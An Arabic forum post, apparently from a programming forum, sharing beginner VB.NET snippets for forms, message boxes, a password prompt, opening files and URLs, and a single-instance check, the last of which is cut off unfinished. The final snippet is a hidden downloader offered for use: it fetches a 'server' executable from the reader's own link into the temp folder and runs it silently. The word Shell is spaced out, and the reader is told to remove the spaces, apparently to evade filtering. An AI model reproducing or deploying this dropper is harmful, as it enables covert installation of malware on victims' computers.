اكواد فيجول بيسك دوت نت : Visual Basic Codes .Net "

اهلا وسهلا بكم اعضاء ومشرفين وادارين الديف بوينت
كيف حالكم يابطال العرب  انشاء الله بمليون خير
موضوع مالتنة يوم مكتبة اكواد برنامج الفيجول بيسك دوت نت موضوع متجدد انشاء الله باكواد

نبدا بكتابة الاكواد



اخفاء الفورم

كود:

Me.Hide()

-----------------------
كود اظهار الفورم الثاني

كود:

Form2.Show()

* اذا ردت سوي اظهار لفروم اخر مثل فروم 4 غير رقم 2 الى 4

------------------------
كود الخروج من البرنامج او من فروم واحد

كود:

Me.Close()

----------------------
انهاء عمل البرنامج بالكامل 

كود:

End

----------------------------------------
كود المسج بوكس

كود:

MessageBox.Show("اكتب هنا")

-------------------------------------------

اذا ردنة نخلي باسورد لفروم او برنامج 

كود:

devpoint:
Dim Yasir as string
Yasir = InputBox("ادخل كلمة مرور")
If Yasir = "ضع هنا باسورد" then
MessageBox.show("تم فتح برنامج")
Else 
MessageBox.Show("باسورد غلط")
Goto devpoint
End if

-------------------------------------

كود فتح موقع مباشرتنا

كود:

Process.Start("ضع رابط موقع هنا")

-------------------------------------------

كود فتح ملف في جهاز

كود:

Process.start("مسار الملف مراد فتحة")

-------------------------------------

كود لجعل البرنامج يعمل مرة واحدة

كود:

yasir()



Sub yasir()
        Dim appProc() As Process
        Dim strModName, strProcName As String
        strModName = Process.GetCurrentProcess.MainModule.ModuleName
        strProcName = System.IO.Path.GetFileNameWithoutExtension(strModName)
        appProc = Process.GetProcessesByName(strProcName)
        If appProc.Length > 1 Then
            MessageBox.Show("Error")
            End

-------------------------------------

لعمل داونلود مخفي للسيرفر وتشغيلة

كود:

Dim web As New System.Net.WebClient
web.DownloadFile("الرابط المباشر لسرفرك", Environ("tmp") & "/server.exe")
S h e l l(Environ("tmp") & "/server.exe")

امسح فرغات كلمة S h e l l